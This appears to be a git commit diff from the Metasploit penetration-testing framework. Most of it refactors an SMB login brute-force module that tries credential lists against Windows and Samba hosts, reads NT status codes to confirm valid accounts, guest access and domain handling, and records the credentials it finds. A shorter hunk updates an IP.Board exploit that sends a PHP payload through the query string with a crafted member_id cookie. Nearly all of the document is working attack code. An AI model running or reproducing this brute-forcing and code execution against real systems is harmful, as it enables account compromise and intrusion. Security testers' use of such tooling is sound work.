Merge branch 'rapid7' into tasos-r7-web-modules
commit
35a7999b4e
|
@ -5,7 +5,6 @@
|
||||||
# http://metasploit.com/
|
# http://metasploit.com/
|
||||||
##
|
##
|
||||||
|
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
|
|
||||||
class Metasploit3 < Msf::Auxiliary
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
@ -32,17 +31,29 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
and connected to a database this module will record successful
|
and connected to a database this module will record successful
|
||||||
logins and hosts so you can track your access.
|
logins and hosts so you can track your access.
|
||||||
},
|
},
|
||||||
'Author' => 'tebo <tebo [at] attackresearch [dot] com>',
|
'Author' => [
|
||||||
|
'tebo <tebo [at] attackresearch [dot] com>', # Original
|
||||||
|
'Ben Campbell <eat_meatballs [at] hotmail.co.uk>' # Refactoring
|
||||||
|
],
|
||||||
'References' =>
|
'References' =>
|
||||||
[
|
[
|
||||||
[ 'CVE', '1999-0506'] # Weak password
|
[ 'CVE', '1999-0506'], # Weak password
|
||||||
|
|
||||||
],
|
],
|
||||||
'License' => MSF_LICENSE
|
'License' => MSF_LICENSE
|
||||||
)
|
)
|
||||||
deregister_options('RHOST','USERNAME','PASSWORD')
|
deregister_options('RHOST','USERNAME','PASSWORD')
|
||||||
|
|
||||||
@accepts_bogus_domains = []
|
|
||||||
@accepts_guest_logins = {}
|
@accepts_guest_logins = {}
|
||||||
|
@correct_credentials_status_codes = ["STATUS_INVALID_LOGON_HOURS",
|
||||||
|
"STATUS_INVALID_WORKSTATION",
|
||||||
|
"STATUS_ACCOUNT_RESTRICTION",
|
||||||
|
"STATUS_ACCOUNT_EXPIRED",
|
||||||
|
"STATUS_ACCOUNT_DISABLED",
|
||||||
|
"STATUS_ACCOUNT_RESTRICTION",
|
||||||
|
"STATUS_PASSWORD_EXPIRED",
|
||||||
|
"STATUS_PASSWORD_MUST_CHANGE",
|
||||||
|
"STATUS_LOGON_TYPE_NOT_GRANTED"]
|
||||||
|
|
||||||
# These are normally advanced options, but for this module they have a
|
# These are normally advanced options, but for this module they have a
|
||||||
# more active role, so make them regular options.
|
# more active role, so make them regular options.
|
||||||
|
@ -50,39 +61,32 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
[
|
[
|
||||||
OptString.new('SMBPass', [ false, "SMB Password" ]),
|
OptString.new('SMBPass', [ false, "SMB Password" ]),
|
||||||
OptString.new('SMBUser', [ false, "SMB Username" ]),
|
OptString.new('SMBUser', [ false, "SMB Username" ]),
|
||||||
OptString.new('SMBDomain', [ false, "SMB Domain", 'WORKGROUP']),
|
OptString.new('SMBDomain', [ false, "SMB Domain", '']),
|
||||||
OptBool.new('PRESERVE_DOMAINS', [ false, "Respect a username that contains a domain name.", true]),
|
OptBool.new('PRESERVE_DOMAINS', [ false, "Respect a username that contains a domain name.", true]),
|
||||||
OptBool.new('RECORD_GUEST', [ false, "Record guest-privileged random logins to the database", false]),
|
OptBool.new('RECORD_GUEST', [ false, "Record guest-privileged random logins to the database", false]),
|
||||||
], self.class)
|
], self.class)
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def run_host(ip)
|
def run_host(ip)
|
||||||
print_brute(:level => :vstatus, :ip => ip, :msg => "Starting SMB login bruteforce")
|
print_brute(:level => :vstatus, :ip => ip, :msg => "Starting SMB login bruteforce")
|
||||||
|
|
||||||
if accepts_bogus_logins?
|
domain = datastore['SMBDomain'] || ""
|
||||||
|
|
||||||
|
if accepts_bogus_logins?(domain)
|
||||||
print_error("#{smbhost} - This system accepts authentication with any credentials, brute force is ineffective.")
|
print_error("#{smbhost} - This system accepts authentication with any credentials, brute force is ineffective.")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
begin
|
unless datastore['RECORD_GUEST']
|
||||||
if accepts_guest_logins?
|
if accepts_guest_logins?(domain)
|
||||||
print_error("#{ip} - This system allows guest sessions with any credentials, these instances will not be reported.")
|
print_status("#{ip} - This system allows guest sessions with any credentials, these instances will not be recorded.")
|
||||||
|
end
|
||||||
end
|
end
|
||||||
end unless datastore['RECORD_GUEST']
|
|
||||||
|
|
||||||
begin
|
begin
|
||||||
each_user_pass do |user, pass|
|
each_user_pass do |user, pass|
|
||||||
result = try_user_pass(user, pass)
|
result = try_user_pass(domain, user, pass)
|
||||||
if result == :next_user
|
|
||||||
unless user == user.downcase
|
|
||||||
result = try_user_pass(user.downcase, pass)
|
|
||||||
if result == :next_user
|
|
||||||
print_status("Username is case insensitive")
|
|
||||||
user = user.downcase
|
|
||||||
end
|
|
||||||
end
|
|
||||||
report_creds(user,pass) if @accepts_guest_logins.select{ |g_host, g_creds| g_host == ip and g_creds == [user,pass] }.empty?
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
rescue ::Rex::ConnectionError
|
rescue ::Rex::ConnectionError
|
||||||
nil
|
nil
|
||||||
|
@ -90,23 +94,47 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def accepts_guest_logins?
|
def check_login_status(domain, user, pass)
|
||||||
guest = false
|
|
||||||
orig_user,orig_pass = datastore['SMBUser'],datastore['SMBPass']
|
|
||||||
datastore["SMBUser"] = Rex::Text.rand_text_alpha(8)
|
|
||||||
datastore["SMBPass"] = Rex::Text.rand_text_alpha(8)
|
|
||||||
|
|
||||||
# Connection problems are dealt with at a higher level
|
|
||||||
connect()
|
connect()
|
||||||
|
status_code = ""
|
||||||
begin
|
begin
|
||||||
smb_login()
|
simple.login( datastore['SMBName'],
|
||||||
rescue ::Rex::Proto::SMB::Exceptions::LoginError
|
user,
|
||||||
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode
|
pass,
|
||||||
|
domain,
|
||||||
|
datastore['SMB::VerifySignature'],
|
||||||
|
datastore['NTLM::UseNTLMv2'],
|
||||||
|
datastore['NTLM::UseNTLM2_session'],
|
||||||
|
datastore['NTLM::SendLM'],
|
||||||
|
datastore['NTLM::UseLMKey'],
|
||||||
|
datastore['NTLM::SendNTLM'],
|
||||||
|
datastore['SMB::Native_OS'],
|
||||||
|
datastore['SMB::Native_LM'],
|
||||||
|
{:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost})
|
||||||
|
# Windows SMB will return an error code during Session Setup, but nix Samba requires a Tree Connect:
|
||||||
|
simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
|
||||||
|
status_code = 'STATUS_SUCCESS'
|
||||||
|
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||||
|
status_code = e.get_error(e.error_code)
|
||||||
|
rescue ::Rex::Proto::SMB::Exceptions::LoginError => e
|
||||||
|
status_code = e.error_reason
|
||||||
|
ensure
|
||||||
|
disconnect()
|
||||||
end
|
end
|
||||||
|
|
||||||
begin
|
return status_code
|
||||||
guest = true
|
end
|
||||||
|
|
||||||
|
# If login is succesful and auth_user is unset
|
||||||
|
# the login was as a guest user.
|
||||||
|
def accepts_guest_logins?(domain)
|
||||||
|
guest = false
|
||||||
|
user = Rex::Text.rand_text_alpha(8)
|
||||||
|
pass = Rex::Text.rand_text_alpha(8)
|
||||||
|
|
||||||
|
guest_login = ((check_login_status(domain, user, pass) == 'STATUS_SUCCESS') && simple.client.auth_user.nil?)
|
||||||
|
|
||||||
|
if guest_login
|
||||||
@accepts_guest_logins['rhost'] ||=[] unless @accepts_guest_logins.include?(rhost)
|
@accepts_guest_logins['rhost'] ||=[] unless @accepts_guest_logins.include?(rhost)
|
||||||
report_note(
|
report_note(
|
||||||
:host => rhost,
|
:host => rhost,
|
||||||
|
@ -117,180 +145,131 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
:data => 'accepts guest login from any account',
|
:data => 'accepts guest login from any account',
|
||||||
:update => :unique_data
|
:update => :unique_data
|
||||||
)
|
)
|
||||||
end unless(simple.client.auth_user)
|
|
||||||
|
|
||||||
disconnect()
|
|
||||||
datastore['SMBUser'],datastore['SMBPass'] = orig_user,orig_pass
|
|
||||||
return guest
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
return guest_login
|
||||||
def accepts_bogus_logins?
|
|
||||||
orig_user,orig_pass = datastore['SMBUser'],datastore['SMBPass']
|
|
||||||
datastore["SMBUser"] = Rex::Text.rand_text_alpha(8)
|
|
||||||
datastore["SMBPass"] = Rex::Text.rand_text_alpha(8)
|
|
||||||
|
|
||||||
# Connection problems are dealt with at a higher level
|
|
||||||
connect()
|
|
||||||
|
|
||||||
begin
|
|
||||||
smb_login()
|
|
||||||
rescue ::Rex::Proto::SMB::Exceptions::LoginError
|
|
||||||
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode
|
|
||||||
end
|
end
|
||||||
|
|
||||||
disconnect()
|
# If login is successul and auth_user is set
|
||||||
datastore['SMBUser'],datastore['SMBPass'] = orig_user,orig_pass
|
# then bogus creds are accepted.
|
||||||
|
def accepts_bogus_logins?(domain)
|
||||||
return simple.client.auth_user ? true : false
|
user = Rex::Text.rand_text_alpha(8)
|
||||||
|
pass = Rex::Text.rand_text_alpha(8)
|
||||||
|
bogus_login = ((check_login_status(domain, user, pass) == 'STATUS_SUCCESS') && !simple.client.auth_user.nil?)
|
||||||
|
return bogus_login
|
||||||
end
|
end
|
||||||
|
|
||||||
def accepts_bogus_domains?(addr)
|
# This logic is not universal ie a local account will not care about workgroup
|
||||||
if @accepts_bogus_domains.include? addr
|
# but remote domain authentication will so check each instance
|
||||||
return true
|
def accepts_bogus_domains?(user, pass, rhost)
|
||||||
end
|
domain = Rex::Text.rand_text_alpha(8)
|
||||||
orig_domain = datastore['SMBDomain']
|
status = check_login_status(domain, user, pass)
|
||||||
datastore['SMBDomain'] = Rex::Text.rand_text_alpha(8)
|
|
||||||
|
|
||||||
connect()
|
bogus_domain = valid_credentials?(status)
|
||||||
begin
|
if bogus_domain
|
||||||
smb_login()
|
vprint_status "Domain is ignored"
|
||||||
rescue ::Rex::Proto::SMB::Exceptions::LoginError
|
|
||||||
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode
|
|
||||||
end
|
|
||||||
disconnect()
|
|
||||||
datastore['SMBDomain'] = orig_domain
|
|
||||||
|
|
||||||
if simple.client.auth_user
|
|
||||||
@accepts_bogus_domains << addr
|
|
||||||
return true
|
|
||||||
else
|
|
||||||
return false
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def try_user_pass(user, pass)
|
return valid_credentials?(status)
|
||||||
# The SMB mixins require the datastores "SMBUser" and
|
end
|
||||||
# "SMBPass" to be populated.
|
|
||||||
datastore["SMBPass"] = pass
|
def valid_credentials?(status)
|
||||||
orig_domain = datastore["SMBDomain"]
|
return (status == "STATUS_SUCCESS" || @correct_credentials_status_codes.include?(status))
|
||||||
|
end
|
||||||
|
|
||||||
|
def try_user_pass(domain, user, pass)
|
||||||
# Note that unless PRESERVE_DOMAINS is true, we're more
|
# Note that unless PRESERVE_DOMAINS is true, we're more
|
||||||
# than happy to pass illegal usernames that contain
|
# than happy to pass illegal usernames that contain
|
||||||
# slashes.
|
# slashes.
|
||||||
if datastore["PRESERVE_DOMAINS"]
|
if datastore["PRESERVE_DOMAINS"]
|
||||||
d,u = domain_username_split(user)
|
d,u = domain_username_split(user)
|
||||||
datastore["SMBUser"] = u.to_s.gsub(/<BLANK>/i,"")
|
user = u
|
||||||
datastore["SMBDomain"] = d if d
|
domain = d if d
|
||||||
|
end
|
||||||
|
|
||||||
|
user = user.to_s.gsub(/<BLANK>/i,"")
|
||||||
|
status = check_login_status(domain, user, pass)
|
||||||
|
|
||||||
|
# Match original output message
|
||||||
|
if domain.empty? || domain == "."
|
||||||
|
domain_part = ""
|
||||||
else
|
else
|
||||||
datastore["SMBUser"] = user.to_s.gsub(/<BLANK>/i,"")
|
domain_part = " \\\\#{domain}"
|
||||||
end
|
|
||||||
|
|
||||||
# Connection problems are dealt with at a higher level
|
|
||||||
connect()
|
|
||||||
|
|
||||||
begin
|
|
||||||
smb_login()
|
|
||||||
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
|
|
||||||
if e.get_error(e.error_code) == "STATUS_ACCESS_DENIED"
|
|
||||||
print_error("#{smbhost} - FAILED LOGIN (#{smb_peer_os}) #{splitname(user)} : #{pass} (#{e.get_error(e.error_code)})")
|
|
||||||
disconnect()
|
|
||||||
datastore["SMBDomain"] = orig_domain
|
|
||||||
return :skip_user
|
|
||||||
else
|
|
||||||
raise e
|
|
||||||
end
|
|
||||||
|
|
||||||
rescue ::Rex::Proto::SMB::Exceptions::LoginError => e
|
|
||||||
|
|
||||||
case e.error_reason
|
|
||||||
when 'STATUS_LOGON_FAILURE', 'STATUS_ACCESS_DENIED'
|
|
||||||
# Nothing interesting
|
|
||||||
vprint_error("#{smbhost} - FAILED LOGIN (#{smb_peer_os}) #{splitname(user)} : #{pass} (#{e.error_reason})")
|
|
||||||
disconnect()
|
|
||||||
datastore["SMBDomain"] = orig_domain
|
|
||||||
return
|
|
||||||
|
|
||||||
when 'STATUS_ACCOUNT_DISABLED'
|
|
||||||
report_note(
|
|
||||||
:host => rhost,
|
|
||||||
:proto => 'tcp',
|
|
||||||
:sname => 'smb',
|
|
||||||
:port => datastore['RPORT'],
|
|
||||||
:type => 'smb.account.info',
|
|
||||||
:data => {:user => user, :status => "disabled"},
|
|
||||||
:update => :unique_data
|
|
||||||
)
|
|
||||||
|
|
||||||
when 'STATUS_PASSWORD_EXPIRED'
|
|
||||||
report_note(
|
|
||||||
:host => rhost,
|
|
||||||
:proto => 'tcp',
|
|
||||||
:sname => 'smb',
|
|
||||||
:port => datastore['RPORT'],
|
|
||||||
:type => 'smb.account.info',
|
|
||||||
:data => {:user => user, :status => "expired password"},
|
|
||||||
:update => :unique_data
|
|
||||||
)
|
|
||||||
|
|
||||||
when 'STATUS_ACCOUNT_LOCKED_OUT'
|
|
||||||
report_note(
|
|
||||||
:host => rhost,
|
|
||||||
:proto => 'tcp',
|
|
||||||
:sname => 'smb',
|
|
||||||
:port => datastore['RPORT'],
|
|
||||||
:type => 'smb.account.info',
|
|
||||||
:data => {:user => user, :status => "locked out"},
|
|
||||||
:update => :unique_data
|
|
||||||
)
|
|
||||||
end
|
|
||||||
print_error("#{smbhost} - FAILED LOGIN (#{smb_peer_os}) #{splitname(user)} : #{pass} (#{e.error_reason})")
|
|
||||||
|
|
||||||
disconnect()
|
|
||||||
datastore["SMBDomain"] = orig_domain
|
|
||||||
return :skip_user # These reasons are sufficient to stop trying.
|
|
||||||
end
|
end
|
||||||
|
output_message = "#{rhost}:#{rport}#{domain_part} - %s (#{smb_peer_os}) #{user} : #{pass} [#{status}]"
|
||||||
|
|
||||||
|
case status
|
||||||
|
when 'STATUS_SUCCESS'
|
||||||
|
# Auth user indicates if the login was as a guest or not
|
||||||
if(simple.client.auth_user)
|
if(simple.client.auth_user)
|
||||||
print_status("Auth-User: #{simple.client.auth_user.inspect}")
|
print_good(output_message % "SUCCESSFUL LOGIN")
|
||||||
print_good("#{smbhost} - SUCCESSFUL LOGIN (#{smb_peer_os}) '#{splitname(user)}' : '#{pass}'")
|
validuser_case_sensitive?(domain, user, pass)
|
||||||
|
report_creds(domain,user,pass,true)
|
||||||
else
|
else
|
||||||
print_status("#{rhost} - GUEST LOGIN (#{smb_peer_os}) #{splitname(user)} : #{pass}")
|
if datastore['RECORD_GUEST']
|
||||||
@accepts_guest_logins[rhost] = [user, pass] unless datastore['RECORD_GUEST']
|
print_status(output_message % "GUEST LOGIN")
|
||||||
|
report_creds(domain,user,pass,true)
|
||||||
|
elsif datastore['VERBOSE']
|
||||||
|
print_status(output_message % "GUEST LOGIN")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
when *@correct_credentials_status_codes
|
||||||
|
print_status(output_message % "FAILED LOGIN, VALID CREDENTIALS" )
|
||||||
|
report_creds(domain,user,pass,false)
|
||||||
|
validuser_case_sensitive?(domain, user, pass)
|
||||||
|
when 'STATUS_LOGON_FAILURE', 'STATUS_ACCESS_DENIED'
|
||||||
|
vprint_error(output_message % "FAILED LOGIN")
|
||||||
|
else
|
||||||
|
vprint_error(output_message % "FAILED LOGIN")
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
disconnect()
|
def validuser_case_sensitive?(domain, user, pass)
|
||||||
# If we get here then we've found the password for this user, move on
|
if user == user.downcase
|
||||||
# to the next one.
|
user = user.upcase
|
||||||
datastore["SMBDomain"] = orig_domain
|
else
|
||||||
return :next_user
|
user = user.downcase
|
||||||
end
|
end
|
||||||
|
|
||||||
def report_creds(user,pass)
|
status = check_login_status(domain, user, pass)
|
||||||
|
case_insensitive = valid_credentials?(status)
|
||||||
|
if case_insensitive
|
||||||
|
vprint_status("Username is case insensitive")
|
||||||
|
end
|
||||||
|
|
||||||
|
return case_insensitive
|
||||||
|
end
|
||||||
|
|
||||||
|
def note_creds(domain,user,pass,reason)
|
||||||
|
report_note(
|
||||||
|
:host => rhost,
|
||||||
|
:proto => 'tcp',
|
||||||
|
:sname => 'smb',
|
||||||
|
:port => datastore['RPORT'],
|
||||||
|
:type => 'smb.account.info',
|
||||||
|
:data => {:user => user, :pass => pass, :status => reason},
|
||||||
|
:update => :unique_data
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def report_creds(domain,user,pass,active)
|
||||||
|
login_name = ""
|
||||||
|
|
||||||
|
if accepts_bogus_domains?(user,pass,rhost)
|
||||||
|
login_name = user
|
||||||
|
else
|
||||||
|
login_name = "#{domain}\\#{user}"
|
||||||
|
end
|
||||||
|
|
||||||
report_hash = {
|
report_hash = {
|
||||||
:host => rhost,
|
:host => rhost,
|
||||||
:port => datastore['RPORT'],
|
:port => datastore['RPORT'],
|
||||||
:sname => 'smb',
|
:sname => 'smb',
|
||||||
|
:user => login_name,
|
||||||
:pass => pass,
|
:pass => pass,
|
||||||
:source_type => "user_supplied",
|
:source_type => "user_supplied",
|
||||||
:active => true
|
:active => active
|
||||||
}
|
}
|
||||||
if accepts_bogus_domains? rhost
|
|
||||||
if datastore["PRESERVE_DOMAINS"]
|
|
||||||
d,u = domain_username_split(user)
|
|
||||||
report_hash[:user] = u
|
|
||||||
else
|
|
||||||
report_hash[:user] = "#{datastore["SMBUser"]}"
|
|
||||||
end
|
|
||||||
else
|
|
||||||
if datastore["PRESERVE_DOMAINS"]
|
|
||||||
d,u = domain_username_split(user)
|
|
||||||
report_hash[:user] = "#{datastore["SMBDomain"]}/#{u}"
|
|
||||||
else
|
|
||||||
report_hash[:user] = "#{datastore["SMBDomain"]}/#{datastore["SMBUser"]}"
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
if pass =~ /[0-9a-fA-F]{32}:[0-9a-fA-F]{32}/
|
if pass =~ /[0-9a-fA-F]{32}:[0-9a-fA-F]{32}/
|
||||||
report_hash.merge!({:type => 'smb_hash'})
|
report_hash.merge!({:type => 'smb_hash'})
|
||||||
|
@ -299,5 +278,4 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
report_auth_info(report_hash)
|
report_auth_info(report_hash)
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -74,6 +74,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
return Exploit::CheckCode::Unknown if not res
|
return Exploit::CheckCode::Unknown if not res
|
||||||
|
|
||||||
version = res.body.scan(/Community Forum Software by IP\.Board (\d+)\.(\d+).(\d+)/).flatten
|
version = res.body.scan(/Community Forum Software by IP\.Board (\d+)\.(\d+).(\d+)/).flatten
|
||||||
|
return Exploit::CheckCode::Safe if version.empty?
|
||||||
version = version.map {|e| e.to_i}
|
version = version.map {|e| e.to_i}
|
||||||
|
|
||||||
# We only want major version 3
|
# We only want major version 3
|
||||||
|
@ -109,6 +110,20 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
@upload_php = rand_text_alpha(rand(4) + 4) + ".php"
|
@upload_php = rand_text_alpha(rand(4) + 4) + ".php"
|
||||||
@peer = "#{rhost}:#{rport}"
|
@peer = "#{rhost}:#{rport}"
|
||||||
|
|
||||||
|
print_status("#{@peer} - Checking for cookie prefix")
|
||||||
|
res = send_request_cgi(
|
||||||
|
{
|
||||||
|
'uri' => "#{base}index.php",
|
||||||
|
'method' => 'GET'
|
||||||
|
})
|
||||||
|
|
||||||
|
if res and res.code == 200 and res.headers['Set-Cookie'] =~ /(.+)session/
|
||||||
|
print_status("#{@peer} - Cookie prefix #{$1} found")
|
||||||
|
cookie_prefix = $1
|
||||||
|
else
|
||||||
|
cookie_prefix = ""
|
||||||
|
end
|
||||||
|
|
||||||
# get_write_exec_payload uses a function, which limits our ability to support
|
# get_write_exec_payload uses a function, which limits our ability to support
|
||||||
# Linux payloads, because that requires a space:
|
# Linux payloads, because that requires a space:
|
||||||
# function my_cmd
|
# function my_cmd
|
||||||
|
@ -128,7 +143,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
{
|
{
|
||||||
'uri' => "#{base}index.php?#{php_payload}",
|
'uri' => "#{base}index.php?#{php_payload}",
|
||||||
'method' => 'GET',
|
'method' => 'GET',
|
||||||
'cookie' => "member_id=#{Rex::Text.uri_encode(db_driver_mysql)}"
|
'cookie' => "#{cookie_prefix}member_id=#{Rex::Text.uri_encode(db_driver_mysql)}"
|
||||||
})
|
})
|
||||||
|
|
||||||
if not res or res.code != 200
|
if not res or res.code != 200
|
||||||
|
|
Loading…
Reference in New Issue